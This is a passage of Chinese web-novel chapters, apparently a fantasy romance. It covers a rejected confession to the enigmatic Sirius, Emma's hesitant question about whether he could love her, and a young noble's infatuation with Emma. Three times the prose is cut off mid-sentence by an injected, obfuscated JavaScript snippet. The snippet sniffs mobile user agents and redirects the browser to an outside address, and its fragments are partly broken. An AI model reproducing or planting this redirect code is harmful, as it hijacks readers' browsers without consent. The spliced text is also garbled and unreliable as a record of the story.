“不。”西里斯答,“人类对他人的‘好感’很复杂,可以是多种不同情绪和认知的结合。我不能确定你对我的好感是什么程度。 “如果你不提,我会默认它没到那种标准。但是你说了,就意味着你有想从我这里得到的结果。” “没那么复杂。我最近才发现自己喜欢你,想来想去,觉得你九成九对我没这意思,但人又总有那百分之一的侥幸。所以直接问你最好,再不济也能让我少点胡思乱想。” “嗯。” “喂,几个意思?要拒绝也别那么敷衍,亏得我这么认真地跟你说。” 西里斯想了一会儿,说:“抱歉。我对你从来没有任何恋爱上的感情。” 嘉兰不满地啧了一声:“怎么听着还是怪扎心的……你拒绝其他小姑娘也这样?就没有更好听的话了?” “意思到了就够了。比起漂亮话,你不是一直喜欢更直接明白的回答?” “是啊,你很了解我。”嘉兰的声音低下来,沉着微微倦意,“但我现在都完全不了解你。来历、性格、喜好。莫名其妙,乱七八糟的。哎,是因为不了解才更容易喜欢吗?我也搞不明白。真不公平。” 酒精扰乱了她的语序逻辑。 西里斯沉默着听完,摸着面前药草的叶片,垂着眼睛:“我很像你的父亲吗?” “关他什么事?”嘉兰皱眉,又展开,“完全不像。他要是有你十分之一的心眼,都不会是现在的下场。” 西里斯没说话。 夜晚还是太安静了。 嘉兰没有关上花房的门,没注意到花房的玻璃窗又开着几扇,只听见风声在她身边进进出出。风声里连剪子的声响都消失了,只有植株摇晃发出的窸窣。 她闭了一会儿眼睛,说:“我困了。” “要我给你拿点解酒药吗?或者送你回去?” 嘉兰听西里斯的声音都有点模糊,她晃了晃脑袋,扶着墙面支起身,脚步有点飘,但走的还是直线:“不用了,我认得路。虽然不知道你今天还睡不睡了——总之,晚安。” 她扶着门框,背身向西里斯挥了挥手。 西里斯看着她走出门,说:“晚安。” 嘉兰走出花房没多久,就看见正向她走过来的迪尔。 迪尔向她招招手,嘉兰也随意地摆了两下示意。 迪尔赶了两步,放慢步速停到嘉兰面前,又看了看她身后不远的花房:“你刚刚在和西里斯先生聊天?” “嗯。”嘉兰点头,“你还没回去?” “刚把凯送回房间。你说要散散步消酒,我还是有点在意,就过来看看。” 嘉兰抬眼直直地盯了他一会儿,忽然嗤笑。 迪尔被她笑得有点困惑。 “哎……说你是我哥还差不多,凯那小子差得远呢。” 嘉兰捶了捶他胸口,最后一下用了点力,把迪尔向旁边一推,空出了她前面的路,嘉兰大笑着往前走。 迪尔愣了愣,跟上她的脚步。 酒量是可以后天锻炼的,嘉兰参加过的应酬远比迪尔要多,酒量也比他好。 但嘉兰今天情绪很高,喝酒完全没压着,凯的酒量又比他俩差多了。为防没人能清醒地摸到城堡的门回来,迪尔后来就没怎么喝。 他觉得嘉兰今天的情绪有点异常,但没想太多。 或许因为工作,或者其他什么迪尔不了解的烦心事。嘉兰的很多事他都不清楚,但迪尔感到无所谓。 跟情感细腻的凯不同,虽然从小一起长大,目睹着嘉兰的变化,迪尔却并不为这变化感伤。 他认为变化的发生理所当然,就像这个年龄的孩子会长高,也可能哪一天突然就不长了;旧的乳牙掉了,新的牙齿会生出来;第一次摔倒会痛得眼泪直流,第十次摔倒就能冷静地处理自己的伤口,该干嘛干嘛去了。 凯说这是“冷酷”“迟钝”,迪尔觉得就算如他所说也好,被凯认同未必是什么好事,反倒显得和他一样傻呢。 迪尔是第一次摔倒,在地上坐一会儿,休息完了就起来继续干活的类型。 像凯那样摔十次就大叫十次,看人摔十次就心疼十次,太累太傻也太温柔了。 迪尔学不来,也懒得学,傻子有凯一个就够了。 嘉兰则是摔倒之后,立刻就会站起来,分析自己摔倒的原因,然后迅速进行下一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16039502|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 次尝试。 她和迪尔一样都不会喊痛抱怨,他知道,在这一点上,他们是相似的。 但他也知道,他们做出相同表现的理由并不一样。 嘉兰不表现她的软弱,因为她太骄傲也太强大。 那种精神上的强大,清晰地知道自己想要什么、就为什么去努力,没有时间也没有精力为失败停步,无畏疼痛和周围的噪音,全心全意向着目标的,那种理想的光辉,太热烈也太耀眼了。 迪尔难得地感到羡慕。 但他更知道,那样也太累了。 迪尔并没有那么明确的目标,也没有为什么东西那么艰辛地燃烧自己的动力。 每个人都在变化。内在的驱动不同,即使有一天,迪尔不再能理解嘉兰,那也是很正常的事情。 不过,他想,即使是他也多少会为此感到遗憾。 在那可能会存在的一天到来之前,迪尔不打算改变自己的步调,仍旧做自己该做的事,珍惜当下拥有的朋友。 如果变化会带来分歧,他相信自己可以接受那种结果。 迪尔跟在嘉兰身边,按着嘉兰的步调走。 从嘉兰的酒量来说,她今天只能算喝得半醉,但嘉兰平时酒品不错,现在看着却像真的醉了一样。 迪尔不放心,决定多看着点。 这时候嘉兰冷不丁地说:“迪尔,你有喜欢的人吗?” 问题太突然,迪尔又愣了,想了想:“恋爱上的?没有啊。怎么突然问这个?” “就突然想起来,问问。” “爸妈确实在催……说二十二岁也该结婚了。听着有点烦,最近都不太想回去了。我还没什么想法,总之,幸好我哥也还单着,能拿他先挡挡。”迪尔联想自己的境遇,猜道,“阿姨最近在催你?” “哈哈,没有,我们家现在我做主,她管不了。” “哦……”迪尔想了想,很快放弃了找凯给参考的建议。 显然凯面对这个问题可以报出十几个女孩的名字,并细数她们的优点。这大概不是嘉兰需要的答案。 “这样……迪尔没有喜欢的人。”嘉兰喃喃,“那,你也不太理解,喜欢一个人是怎么回事?” 问题太超纲了,不是嘉兰平常的风格。 迪尔虽然有可能逐渐无法理解她的心理准备,但不管怎么说,今天晚上还是太突然了。他开始考虑要不要把凯从被窝里薅出来。 嘉兰继续自言自语:“书上说得太抽象了,什么一见钟情,为了喜欢的人就要死要活啊,完全理解不了。好像有了爱情之后脑子里就装不下其他东西,那些人是不是都没有别的想干的事?还是说不到那种程度就不算喜欢?” “我……爱情小说看得比较少。”迪尔说。 坦诚说来,他不喜欢看书。 “我倒是想再多看几本想想,但最近太忙了,没空看。” 迪尔摸了摸自己的后脑,很茫然:“呃……那我看几本试试?” 嘉兰停住了慢慢的踱步,目光放到迪尔身上,看了好一会儿。 “果然……还是算了。”嘉兰点头,自问自答,“不理解就不理解吧。如果迪尔你不理解,大概也挺好的。” 她摸上自己的心口,按下去,抓着那里的衣襟,衣料在她手心皱成一团。 嘉兰微微皱着眉,带着一点困惑。 眼泪毫无征兆地划过她的脸。 她很轻地说:“因为……好像真的还挺难受的。” 迪尔吓了一跳,有点发懵。 他没有安慰同龄女孩的经历——朋友们说,迪尔只会无意识地给人补刀。而且面前的是嘉兰。 还没等他有什么反应,嘉兰先捂住自己的脸,仰头吸了口气:“抱歉——没什么,喝了酒人容易多愁善感……我就是想起了点事。” 她又低下头,手背抵着额头,迪尔看不到她的表情。 “过一会儿就好了……啊啊,明天还要照常工作,我还有很多事……没什么,我就是……稍微休息一会儿。” 迪尔不是第一次看见嘉兰流泪,小时候嘉兰生气经常一边掉眼泪一边骂骂咧咧。 每次她哭完撒完气就自己想开了,迪尔什么都不用做。 但今天好像不一样,一切都莫名其妙,变化总是突如其来。 迪尔第一次意识到,差异所带来的分歧和不解,毕竟会让他感到难过。这认知令他突然感到心慌不安。 他看着草地上的影子,自己的手,想拍拍嘉兰的肩膀,觉得可能不妥,想说点什么,怕他下意识说的话又只有反效果。 迪尔茫然无措地发着愣,听眼泪掉在草叶上,像晴夜阵雨。很快雨停了。 嘉兰伸手,抓住了迪尔的手腕,仍然按着额头。 “扶我一下。太暗了,我头晕。”她说。 36.困惑 十二月的时候总是很忙,为一年收尾要做的各种活计,还有新年的仪式、邀请、宴会等等。费城开店做生意的居民,店铺和住所大都相距不远,或干脆就是同一个地方。 新年期间,街上的节日氛围浓重,不少人还自发组织了各种各样的庆祝活动。 筹备新年庆典也是领主职责的一部分,要大操大办还是简单点,很受领主个人喜好的影响。 有不愿意多添麻烦的指导者在先,艾玛也不是喜欢热闹的性子,很务实地在经济方面上多下了点功夫,主打的就是一个让大家多赚点钱,节日自己爱怎么过就怎么过的实在。 贵族的新年还有更多麻烦事,连着几天的宴会是免不了的。亲自上门给人送祝福倒是不必,作为领主,等着被拜访就行;给各个家族的送礼少不了,还得抽空跟其他城市的大贵族联络感情;王室那边的礼数也一项都不能缺,弄不好还会被召见叫去。 领主这项身份事务繁多是事实,因此也有许多推脱的借口,如非必要,艾玛不会离开领地。 多蒙先生那边,艾玛于情于理都该亲自拜访。 他今年过了五十岁的生日,真的准备着退休,再不然,也得卸掉一部分工作,退到二线。他仍然很有理想和激情,但五十岁毕竟是不年轻了,身体精力都再难跟上高强度的工作。 多蒙本就是个为城市做过诸多贡献的名人,这三年作为城主也尽心尽力,提拔过不少晚辈。 艾玛早就听闻这是位热心的老先生,实际更超出她预想。多蒙从第一次见面起就很喜欢她,看艾玛的目光相当慈爱,每每见面都要嘘寒问暖,像看孙女一样。 艾玛没见过她父母的父母,对这个级别的长辈印象很淡,这种体验对她有点新奇。 多蒙先生最年长的亲生孙女今年八岁,嘉兰感到工作时间之外,二十岁的自己在他眼里跟这小姑娘是一个辈分,为此心情复杂。 看到艾玛在他这里的辈分判定差不多,心情更复杂了。 新年的假期大约是从十二月的最后一周到一月的第一周。城堡总要有人当值,因此佣人们会错开放假。 作为领主的贴身女佣,雪莉和莫妮卡的假期比一般佣人要短。 莫妮卡觉得很正常,没什么想法;雪莉对城堡的活动更有兴趣,能陪着艾玛过节,她觉得很高兴。 雪莉喜欢热闹和宴会,艾玛对此是有点佩服的。 她最早虽然也对贵族的宴会感到新奇,但这新奇没超过一个月,艾玛就开始倦了。而雪莉每逢宴会都很忙碌,却仍然次次兴致勃勃、满怀期待。 比如明年艾玛的成人礼,需要准备的事和山一样多,艾玛都想暂时逃避一下现实躺平休息,雪莉却已经兴奋地帮她选了十九种礼服纹样。 艾玛的生日在二月,明年二月她就满十六岁了。 波克奈利的女孩十六岁就被视为成年,因此艾玛十六岁的生日宴会很重要,现在开始准备算不得早。 但艾玛本人事实上对此兴趣缺缺。礼节、宴会、客套,在褪去了最初的新奇之后,她对这种象征性大过实际意义的活动更多地抱持着应付的态度。 雪莉拿着第二十款礼服纹样蹦蹦跳跳地过来了,艾玛真希望能分到一点她的热情。 艾玛第二十次摸着布样上的纹路,第二十次说:“看起来不错,就这个吧。” 雪莉则充分发挥了主动思考绝不盲从的精神,认真地分析了一遍纹样的含义、与其他饰品的适配度、与成人礼的契合度,最终第二十次将此款纹样划作备选。 好消息是艾玛为成人礼不止需要准备一件礼服,多一些备选款式也不算浪费;坏消息是这意味着敲定服装方案的麻烦程度呈倍数增长。 坐在床边讨论的艾玛感到些许发自内心的疲惫,向后一仰,倒在了床上。 雪莉看出她累了,没再多谈礼服的问题,跟着倒到床上翻过身,用手梳了梳艾玛的头发。 “好麻烦啊。”艾玛叹息一声,忍不住抱怨。 “准备工作总是很麻烦的啦!但是等一切完成之后,会很有成就感!”雪莉的眼睛闪闪发亮,“如果觉得累的话,想想开心的事?” 艾玛满脑子都是工作待办事项,在躺平中思维转动缓慢,向雪莉递去一个“一时什么都想不到”的茫然眼神。 “比如说——成年宴会上的第一支舞!”雪莉贴得离她近了点,“对贵族来说,这支舞的意义好像很特殊,一般会交给婚约对象。艾玛你还没有婚约,但如果接受了谁第一支舞的邀请,就代表那个人很有机会——” 雪莉亮闪闪的眼睛里装满八卦和好奇:“你有想好选谁吗?” 艾玛说:“呃,还有两个月,到时候看情况吧。” “这么重要的问题肯定要提前想啊!”雪莉为她的敷衍而语噎了。 “选谁都差不多吧……”艾玛心平气和。 “总得……起码选一个更喜欢的!如果随便选择第一支舞的对象,被人误会就麻烦了。你再想想?” 艾玛躺在床上,看着天花板。 “表示好意的第一支舞”。 在听到这个含义的一瞬间,毫无缘由,又自然而然的,艾玛想到的是西里斯的脸。 这显然是个无效选项,她不可能和西里斯跳第一支舞。 明面上的身份差距在那里,甚至身高差也不合适,荒谬得让艾玛将此作为一种可能性考虑都显得好笑。 但就像被这个念头勾住了似的,她的思绪停在这种思考上。 西里斯和她跳过舞,在艾玛练习的舞蹈房。 他可以用法术变化自己的身姿,让他看起来甚至像她的同龄人。 但西里斯当然不会当众做这种毫无意义的展示,在艾玛的生日宴会上用那种姿态和她跳最引人注目的第一支舞——绝不聪明,只会带来麻烦。艾玛也没有执意这么做的理由。 那么,她本来不该继续思考这个假设。 但这个愚蠢又缥缈的念头笼罩住了她,在她脑海中挥之不去。 艾玛凝视着这个想法。 如果有人执意要做一件毫无道理的蠢事,那这件事的背后必然有那个人的私心。 艾玛想,她的私心是什么呢? 艾玛躺在那里发愣,但雪莉以为她的沉默是回避回答,叹口气咕哝:“看来你是真没有喜欢的,否则就不会犹豫了。哎,我还以为你虽然看起来没有对谁很上心,但心里说不定还是有中意的对象,就像嘉兰姐那样。” 艾玛眨了眨眼睛,转过头:“嘉兰?” “哦——对,这事才刚传开呢,你还不知道。”雪莉点点头,“最近不是快年底了,大家都比较放松,私下里也会办点小型聚会。他们在聚会上聊起来,这种场合,肯定会提到恋爱的话题嘛。嘉兰姐平常对这些都不感兴趣,也没人觉得她真有心上人啊,就,挺突然的。” 雪莉摸了摸自己的脸:“嘉兰姐说她向西里斯先生告过白……被拒绝了。” 有大概三秒的时间,艾玛觉得缓慢转动的大脑完全停滞了,一片空白。 三秒之后,她回过神来,不知道是什么心情:“诶……” “你也觉得很突然吧?”雪莉看起来很心情复杂,“不过,听说嘉兰姐讲得挺坦然的,好像完全没放在心上。她这种地方也真帅啊……呃,所以,她都不在意,别人也不好多说什么了嘛。就是大家都很意外吧。” 房门上传来几声扣击。 艾玛和雪莉看过去,西里斯正站在门口,手里拿着文件,大概是来找艾玛谈事的。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16049164|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 雪莉噌地从床上翻滚起身,迅速整理自己的仪表,向西里斯行了个礼:“我先告退了。” 西里斯低下头,对雪莉说:“下次记得关好门。” 雪莉战战兢兢点头认错。 没什么比背着上司议论人家的八卦还被上司当场抓包更尴尬的了,或许比这还要尴尬的是,她议论西里斯的八卦时还不顾礼节地趴在艾玛床上。 雪莉轻轻带上门,这次确认关严实了,然后火速离场。 艾玛房间所在的三楼是她的私人活动领域,除了少部分固定人员外,很少有人来访。 走廊大多时候都很空旷,没什么要避忌的外人,雪莉开关门时手里经常拿着东西,疏忽没把门关紧确是常有的事。 于是由于这没关拢的门,和足够空旷的走廊,艾玛猜刚才她们谈话的后半段,西里斯也听得足够清楚了。 “这是您之前说过需要的材料,我先放在这里了。”西里斯说着,把手里的文件放上了艾玛的书桌。 艾玛说:“你刚刚听到了吗?” 西里斯想了想,露出一点无奈的表情:“如果您是指嘉兰的事,我确实已经听说过。她既然不介意别人知道,我也没什么好说的。” 比起“不介意别人知道”,嘉兰的举动更像是“希望别人知道”。 西里斯对城堡内流言风向的把控比艾玛更精确,这事发生了没多久,他在工作交接之余顺口问了嘉兰举动的原因。 嘉兰一挑眉,饶有兴趣道:“哟,你不好意思了?” 西里斯说:“我是无所谓。但一般是被拒绝的那方会比较介意。” “对,我介意。”嘉兰直白地承认,“所以只有我自己知道还耿耿于怀就太亏了。我难得喜欢一个人,当然要更多人知道。反正你都拒绝我了,有什么意见我可不管。” 西里斯确实被表白过很多次,但这种说法态度属实是太新鲜了。 可嘉兰就是这样的人,一切又好像理所当然。 似乎是看出西里斯的无语,嘉兰心情更好地笑道:“告白被拒绝又没什么丢脸的。这种事,只有介意的那方才是真正输了。你最好也是真的无所谓哦,‘巫师先生’。” 嘉兰说完,挥挥手走了。 别的不提,西里斯还挺欣赏她这种心态的。如果针对对象不是他就更好了。 艾玛听了他的回答,却仍然若有所思:“那你……拒绝她了?因为‘不喜欢’吗?” 以艾玛一贯的个性,她本来不会再多问,西里斯有点惊讶。 但他想起艾玛近来对“恋爱”这个话题的在乎和困惑,也不是不能解释。 “我欣赏嘉兰的能力和品性,她是个优秀的工作伙伴。不过,我对她实在没有恋爱方面的感情。”西里斯说得半认真半随意。认真那部分是答复艾玛的困惑,随意的部分则因为这问题的答案对他来说太过于理所当然,而使回答的行为显得幼稚。 “您应该更清楚的,我跟她的实际年龄相差远比表面还要巨大。她的心性在同龄人中是算得上成熟,但对我来说,也仍然只是个小孩。我不可能对一个孩子产生那种感情。” 西里斯还想说,他在此方面实在给她提供不了多少参考,不是个合适的询问对象。 坐在床上抱着双腿的艾玛,从膝上抬起头来,像是鬼使神差地问道:“——那我呢?” 仿佛被那种安静的力量所影响,西里斯感到空气的流动都停滞了,还未出口的话音停在喉咙里。 那双熟悉、温和、总是平静的金色双眼正中,映着他的影子。 似乎连发问的人都不知道自己话里含义似的,艾玛迷茫地看着西里斯的眼睛: “如果,说‘喜欢你’的人是我,你的回答也是……一样的吗?” 37.序幕的尾声 “爱情使人盲目”,自古就有的俗语。 西里斯很早就在他人身上领会了这句话的含义。 作为旁观者,身处局中却并未真正入戏的演员。他跟爱情和名为爱情的假象打过很多交道。 有些是双方心知肚明的利益交换,也有为了目的而进行的甜言蜜语的哄骗,还有只是路过却动了感情的无知者。即使有一个虚情假意的开头,有些谎言到最后确成了真心。 对着别人交给他的真心,那时的他怀着冰冷的喜悦想—— 太好了。被爱情蒙蔽的人最容易利用了。 那些喜欢过他的人,后来是怎样的结局? 想不起来了。 失去继续表演的理由,利用价值耗尽之后,他能还给对方什么好下场? “你装情人装得太不像。” 曾有人对他说过这样的话。 他模糊想起,大约是那么一个情境。一个和他互相利用的女伯爵,声音慵懒,烟雾一样时远时近。 “情人看着自己爱情的时候,眼神温柔着呢,恨不能把自己化开来给人看。你可没有这样的眼神,装都装不出来。” 他好像说过什么辩驳,不记得内容了。 他知道那女人说得对。 “你看,我站在你面前,但你的眼里根本没有我。 “不……没有我,也没有其他人。你的眼睛里谁都没有。 “只有……火焰。” 她的声音犹疑了片刻。 “——想要把一切都烧干净的火焰。” 那个敏锐的、会一些占卜术的女伯爵,后来怎么样了? 大概是死于一场什么“意外”。她的家族失去她像失去脊骨,很快就崩塌散落,被环伺的野心家们分食。 他那时候太忌惮占卜师,不可能容忍任何被看透的隐患。 他记得被那女人点破时心底的慌乱,因而记住了那些话。 但她的容貌,她说这话时分明和他对视着的眼睛……是什么样的? 啊啊,记不起来了。 或许就如她所说,他那时候没有真正看进过任何人。 而即使真的将谁放进了眼里……那火焰也一定把她烧尽了。 西里斯看着艾玛的眼睛时,恍惚想起了那段久远的对话。 他很久不再跟人做那种感情生意,因为早已没有必要。现在他想要达到什么目的,诱导的法术可比苦心经营的爱情假象有用得多。而且,他也不能再像那时候一样真正无动于衷了。 他应该已经没有当初那样的眼睛了。谁又知道呢。 但是,西里斯想,起码他现在确实记得艾玛的眼睛……他是认真在看着她的。 那句问话脱口而出后,艾玛自己先愣了一会儿,没回过神来似的:“啊,抱歉。说得像我在告白一样。” “嗯,我明白您的意思。”西里斯说。 艾玛困惑地看着他,想,但她自己好像不太明白。 西里斯沉吟片刻,从艾玛的书桌前拖过她的椅子,坐到她床边。 “那么,姑且将这个前提作为假设,我想给您一些更诚恳的回答。” 西里斯比她更清楚,艾玛不会毫无缘由地提出这样的问题。 不管有意无意,说出那样的话,意味着艾玛对他确实有这个方向上的好感。 他本想放下文件说几句就走,碰见这样的情况只好改变了主意。视而不见的逃避显然不是个好的解决方法。 他太习惯话术、客套、应付和社交,合适的回答总能张口就来。但合适的回答总不是真心话。 他好像已经很久……没有正视着自己的心,诚实地描述自己的感情了。 这让西里斯难得觉得组织语言有些生涩。 “我向您说过,我没有对某人产生过恋爱感情。”西里斯说得比较慢,艾玛能听出他话里显然的斟酌和犹豫,这很少见,“我并不是轻视‘爱情’。事实上,我认为‘爱情’是人与人之间最珍贵、最重要……甚至可以说,是能用‘伟大’形容的一种感情联系。它能创造的奇迹甚于魔法。” “世人对爱情的定义不尽相同,每个人都有自己的理解。普遍说来,大部分人会将‘足够强烈的好感’与‘爱’等同。由我来说这样的话或许有点奇怪,” 西里斯停了停:“对我而言,除了强烈的喜爱之外,‘爱情’还意味着责任。它是一种不那么轻飘的……更加沉重的‘承诺’,需要被认真地衡量能否付出和承担。” “逢场作戏的漂亮话是一回事,如果您要问我的真实想法,那这才是我的真心话。”西里斯看着她的眼睛,“我无法付出爱情,因为我无法给出相应的承诺。爱情让人向往生活,而我追求的只有死亡。” “仍然建立在刚才的前提上,如果是您的话,确实可以命令,甚至许愿,让我向您付出‘爱情’。但是契约无法扭曲我的意识。我可以装作我爱您,但那并不具有任何意义。 “您对我来说是特别的。如果没有意外,我希望我不必欺骗您。” 西里斯按着自己的心口:“女巫是神明所宠爱的人类,拥有无限可能,光明的未来。 “您是无辜的,没有做错任何事,我为了自己的私欲而要求您付出生命,当然应该为夺走这份可能性支付代价。在我看来,三个愿望远不足够,我欢迎您索取更多。 “但我实在不建议您在我身上寻找‘爱情’——根本不存在的东西,再怎么样也找不到的。 “您值得他人真实的爱意,但我所能提供的,充其量是徒有其形的假货。” 西里斯合上双手,轻轻一拍:“——以上,是我建立在您先前‘假设’问题上的回答,发自内心,希望能让您满意。客观地说,我不是什么合格的爱情顾问,如果您还有这方面的困惑,我认为换个参考对象比较好。” 艾玛却仍然只是安静地看着他,看了好久,才说了一句:“哦。” 西里斯突然觉得有点好笑。 他刚认识艾玛的时候,有太多事情需要解释,但他说了一堆话,艾玛最后也只会回上一句“哦”,根本不知道她理解了没有。 西里 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16053317|175926||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 斯当时还想:她是这么不好沟通的类型吗?那可麻烦了。 相处了这么久,西里斯自认逐渐摸清了她的性格,但时不时,艾玛又会给他一种突然袭击式的意外反应。 西里斯惊疑之余忍不住反省,自己是否又太想当然而傲慢地为她定了性。他在看人上很少走眼,会这样让他反复自省的人实在不多。 西里斯最终认清了这种反省没有多大意义,女巫本来就变化莫测、难以揣度,更不要说一个还在成长中,一天换十个新想法的年幼女巫。 他习惯于编织好计划、掌握清情况再行动,这样少有的放弃主动权让他感到不安。 但好在艾玛不像他认识的某些计划性低得令人胆寒的家伙那样,她在很多事上都心里有数。 即使完成的过程摇摇晃晃,让他看着有点担心,但结果总能比他的想象更好得出乎意料。 西里斯有时会想,他大概比自己以为的更信任艾玛一些,甚至有点喜欢她那种不确定的地方。 话说到这里,西里斯觉得差不多了。 他起身,归位了椅子:“我还有其他工作,就先走了。您有事再叫我吧。” 艾玛很慢地点了一下头。 西里斯走到门口,刚拉开一道门缝,听到背后艾玛叫住他:“西里斯。” 西里斯停住脚步,回过头。 艾玛坐在床上,抬着头遥遥望向他:“我最近,在想…… “世界上,是不是没有恶魔?” 西里斯的表情没有变化。 艾玛的双手搭在腿前,扣在一起,她的手指犹豫地压了压:“你……太像人类了。比很多人类都更像人类。” “您这么认为吗?”西里斯很淡地笑了笑,“我不否认您称呼我为恶魔,因为我知道您没有恶意。我确实不由任何童话和故事中走出,也没有血脉相连的同类和族裔。但像这样的——怪物的身体,无论怎么看,也不该被称为人类了。” 确实足以称作怪物。 强大到几乎无所不能的魔法,受伤后立刻复原如初的躯体,不需要进食和睡眠都能正常生活的体质。 还有那从艾玛第一次见到他起,一丝一毫都没有改变的容貌。 仿佛时间的洪流避开他行进,只将他凝固在原地,将他描成一幅永久定格了的肖像。 “你原来,不是这样的吧?”艾玛说,“你没有告诉过我原因,现在也还是不愿意说吗?” “您是我的行刑人,为我实现愿望的牺牲者。您有资格知道。”西里斯的语气平静,“我会告诉您的。不是现在。” 艾玛张了张嘴,最终没有说出原本预订的话:“这样啊。” 西里斯看了她一会儿,说:“虽然早就知道,即使什么都不做,女巫的直觉也迟早会发现真相。但就像孩子不必急于否定童话,我觉得继续这样的游戏也没什么不好。可您总有成长到不需要它的一天。我应该为此高兴,但也感到遗憾。 “童话时间结束,我们都该从故事里醒来了。” 他走出房间,关上了门。 38.追求者 光明历1388年2月26日,费拉约尔斯仍处于冬季的尾声。 前天少见地下了雪,一直下到26日的凌晨才停,街道房屋都裹着一层银白的装束。更令人惊奇的是,已有新芽顶着严寒、破出积雪,在一片银白中冒出一点点浅绿的生机。 人们说,这是新一年的好兆头。 领主17岁的生日宴会如期举行。 城堡花园里的积雪还没扫尽,领主下令说,清出供人行走的道路就好,其余的等它自然融化。 费城很少下雪,本地人都对雪景感到稀罕。佣人们工作之余会在窗边眺望花园里的雪色,偶尔有人跑出去搓上一把雪,然后嗷嗷叫着冷回来。 原本设置在花园里的活动取消了,院里供人休憩的亭子也被积雪埋着大半。 外头实在太冷,对费心打扮、要风度不要温度的客人们来说更是难以承受。客人们前所未有集中地聚在有着温暖壁炉的宴会厅里。 虽然还是上午,厅里的水晶吊灯已经全打开了,将每一个角落都映照得通明亮堂。连手中盛着半杯的酒液里,都好像装着一轮盈满的月亮。 伊克里尼·伯恩抱着双臂,手里拿着杯餐前酒。 上午喝酒还太早了。伊克里尼家族的家教中有言,酒可以是助人的良药,但在不当的时机饮用错误的分量容易致使有失风度的行为。 他小时候以为这话一定是先辈传下来的经验,但现在看来,伯恩总觉得这话是母亲编排出来训诫好酒的父亲用的。 父亲酒量很好,但喝高了仍然会直言快语,甚至进院子爬树。伯恩自小目睹父亲各类酒后失智行为,感到比任何训诫都更有警示作用。 但他现在心情有点烦闷。 时不时有路过的熟人朋友拍拍他肩膀、对他挤挤眼睛,则让这烦闷更上一层。 伯恩难得破例想在这个时间喝酒,他有那么一会儿思考自己是不是今天不该来。 宴会的主人正在人群中和来宾交谈。她是个一如往常优异的倾听者,时不时微笑或应和,无人对此感到不快。伯恩很相信她这种本事,她就是有那种不开口都能让人听话的力量。 她跟刚刚的客人讲完话,环视人群时对上了伯恩的目光,于是向他笑了笑,抬了抬手里的酒杯示意。 伯恩抬了抬酒杯回礼,却感到动作有点僵硬。 艾玛平时不爱打扮,生日宴上难得多戴了点首饰,灯光流转过她黑发间的珍珠,比任何宝石都夺目。礼服的裁剪正好,织绣低调,但很衬她。 那双金色的眼睛向他望过来的时候,伯恩感到心跳无法克制地加快,以致失礼地提前移开了目光。 他觉得脸上发热——真是丢脸,希望别人看不出来,再不然就推说是酒精的缘故——等伯恩挪回视线,艾玛已经在跟下一位客人交谈了。 他庆幸之余又有点失落。 朋友们见了都要说,他这简直是着了魔——可喜欢上一个人的时候,不就是那种着魔一般的感觉吗? 伯恩第一次见到艾玛的时候19岁。 伊克里尼家的领地同样在波克奈利王国境内,是一座叫希格米莱的城市。 伯恩的父亲,伊克里尼伯爵,是当地的领主,有义务与费拉约尔斯的新领主结交往来。 伯恩是家里的独子,人们都说这个爵位将来是他的,很早就有人称他为“小伯爵”。伯恩明白这称呼背后责任的重量。 费城新领主第一次正式出席社交场合的宴会,伊克里尼伯爵本该亲自前来拜访。但那时候是秋末,领地里工作繁忙。 伊克里尼伯爵是个直脾气,不喜欢过分客套的宴会——虽然喜欢宴会上的酒。 他听说费城的新领主是个小女孩,对这场宴会的期待指数再下一档,干脆就懒得去了。 他寻思伯恩跟那小女孩算同龄人,共同话题还更多,他那年纪也该多替他爹做点工作历练历练。总之左右一合计,就把儿子扔到去费拉约尔斯的船上漂了过去。 伯恩不是第一次替父亲完成工作,更不是第一次出席贵族的宴会。 这种场合,不失礼就算成功,难度很低。 他从运河的船上下来,落地还没站稳,就好像又踏进了河里,晕晕乎乎的。 伯恩自己也不明白是怎么回事,只觉得那是个聪明又温和的女孩,只是跟她说了几句话,觉得跟她交流很舒服。糊里糊涂的,心跳却像鼓声,敲得他发懵。 在那个初次参加社交宴会的女孩面前,他仿佛才是那个青涩的新人。 伯恩不知道自己有没有表现出过度的异常,从陪同他前去的侍从反应看来,或许没丢人到那个程度。只是他本来就是个比较一板一眼的性子,那天之后就更愣了。 回到希格米莱后他就开始搜索他以前认为还为时过早的、婚姻相关的法律文件,翻出一叠历史政治书,拿着写论文的架势闭门半个月,删删改改郑重地写了封求婚信,唯恐被人抢先一般找最快的信使送过去。在度过了茶饭不思的三天等待后,拿回了一纸诚恳的回绝和感谢。 伊克里尼伯爵看完他的求婚信副本后大乐,骄傲道不愧是自己的儿子!但是我跟你讲情书要这么这么写…… 